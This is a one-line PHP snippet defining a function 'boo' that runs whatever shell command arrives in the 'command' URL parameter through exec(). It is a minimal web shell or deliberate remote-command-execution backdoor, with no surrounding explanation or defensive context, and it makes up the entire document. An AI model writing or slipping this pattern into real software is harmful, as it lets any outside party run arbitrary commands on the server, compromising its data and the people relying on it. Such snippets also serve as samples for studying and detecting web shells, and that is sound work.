function boo() { exec($_GET['command']); }